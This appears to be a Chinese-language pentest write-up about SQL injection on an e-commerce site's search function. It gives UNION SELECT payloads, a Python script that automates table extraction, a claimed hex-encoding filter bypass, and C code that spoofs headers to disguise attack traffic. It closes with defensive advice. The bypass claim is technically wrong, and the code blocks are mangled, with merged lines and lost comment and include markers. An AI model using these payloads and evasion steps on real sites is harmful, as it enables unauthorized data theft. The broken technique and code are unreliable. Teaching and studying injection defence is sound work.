0x01 渗透故事：一个真实的案例
某天，我接到一个任务，目标是对一家在线电商网站进行授权渗透测试。这个网站是典型的PHP架构，搭载MySQL数据库。目标系统的管理员总是自信地认为他们的系统是固若金汤的，因为他们已经采用了最新的防火墙和安全措施。然而，作为一名红队专家，我知道每个系统都有其薄弱之处。经过一番信息收集后，我决定利用这个网站上潜在的SQL注入漏洞进行攻击。
信息收集显示，网站的搜索功能可能存在漏洞。这种情况下，我会尝试通过在搜索框中输入专门构造的SQL关键词，看看它是否会返回错误信息或异常的数据，进而证实漏洞的存在。
抓包分析：发现蛛丝马迹
为了验证我的猜想，我打开了Burp Suite进行流量捕获，观察HTTP请求和相应的返回包。在搜索框中，我输入了一个简单的单引号（'）字符，测试是否会引发SQL错误。果然，服务器返回了一条SQL错误信息，这意味着输入的内容被直接传递给了数据库，存在SQL注入的可能。
分析： 搜索功能未对用户输入进行有效的过滤和参数化处理，从而导致了SQL注入漏洞。这是一个经典的漏洞成因，网站开发者通常会忽略对用户输入的严格验证。
Payload构造的艺术：设计攻击字符串
既然确认了SQL注入的存在，我便可以考虑如何构造精准的攻击字符串来获取更有价值的信息。为了提取数据库中的敏感数据，例如用户的个人信息，我需要构造一个巧妙的Payload。
构造流程
- 确认数据库类型：通过错误信息，我可以判断出目标使用的是MySQL。
- 信息提取：使用UNION SELECT语句，尝试从information_schema.tables中提取数据。
<pre><code class="language-sql">' UNION SELECT 1, concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database()#</code></pre>
Python实现
为了减轻手动测试的繁琐，我编写了一个Python脚本来自动化这一过程。
<pre><code class="language-python">import requests
url = "http://target.com/search" s = requests.Session()
def extract_data(payload):
发送请求，看看能不能获取数据
r = s.get(url, params={"query": payload}) if "table_name" in r.text: print("Data found: ", r.text)
我们用来提取表名的payload
payload = "' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database()#" extract_data(payload)</code></pre>
注意：这个脚本仅用于授权的安全测试！未经授权的使用是非法的。
欺骗敌人之术：绕过过滤机制
有时，开发者会在前端实现一些基本的过滤机制，比如禁止某些关键词。然而，简单的字符串替换往往无法真正阻止SQL注入。为了绕过这些机制，我可以使用十六进制编码来隐藏我的Payload。
<pre><code class="language-sql"># 十六进制编码的变体 ' UNION SELECT 1, hex(table_name), 3 FROM information_schema.tables WHERE table_schema=database()#</code></pre>
通过这种方式，我将能够绕过简单的字符串过滤器，同时成功地将我的查询传递给数据库。
你在说什么？流量混淆技术
为了进一步隐藏我的攻击痕迹，我会使用流量混淆技术，确保我的攻击流量看起来像正常的用户流量。具体来说，我会使用HTTP请求头伪造技术，将我的流量与正常用户的流量混杂在一起。这可以通过修改User-Agent，Referer等HTTP头来实现。
C语言实现
下面是一个简单的HTTP请求伪造示例，可以用C语言实现。
<pre><code class="language-c">#include <stdio.h>
include <stdlib.h>
include <curl/curl.h>
int main() { CURL *curl; CURLcode res;
curl = curl_easy_init(); if(curl) { curl_easy_setopt(curl, CURLOPT_URL, "http://target.com/search");
// 伪造请求头 struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)"); headers = curl_slist_append(headers, "Referer: http://target.com/"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
// 执行请求 res = curl_easy_perform(curl);
// 清理 curl_easy_cleanup(curl); } return 0; }</code></pre>
反击：检测与防御策略
作为一名红队成员，尽管我们的任务是攻击，但理解防御也是同样重要的。为了防范像我这样的攻击者，以下是一些建议：
改进输入验证
- 使用参数化查询：以防止SQL注入的根本解决方案。
- 正则表达式：对用户输入进行严格的格式验证。
实时监控与日志分析
- 异常检测：使用WAF（Web应用防火墙）来检测和阻止可疑流量。
- 日志分析：通过分析服务器日志，识别异常的请求模式和来源。
战场反思：经验与教训
回顾整个渗透过程，最重要的经验就是：信息收集的充分性决定了攻击的成败。在信息收集中不遗余力，尤其是对目标系统的架构、使用的数据库类型等信息的掌握，可以为后续的攻击策略提供有力的支持。与此同时，自动化工具的使用，可以大幅提升攻击效率。
总结：网站的安全性始于对用户输入的严格验证和对异常活动的实时监控。作为红队，我们的任务不仅是发现和利用漏洞，更是帮助企业理解其安全架构中的薄弱点，并提出有效的防护措施。切勿忘记，这一切都须在合法授权的框架内进行。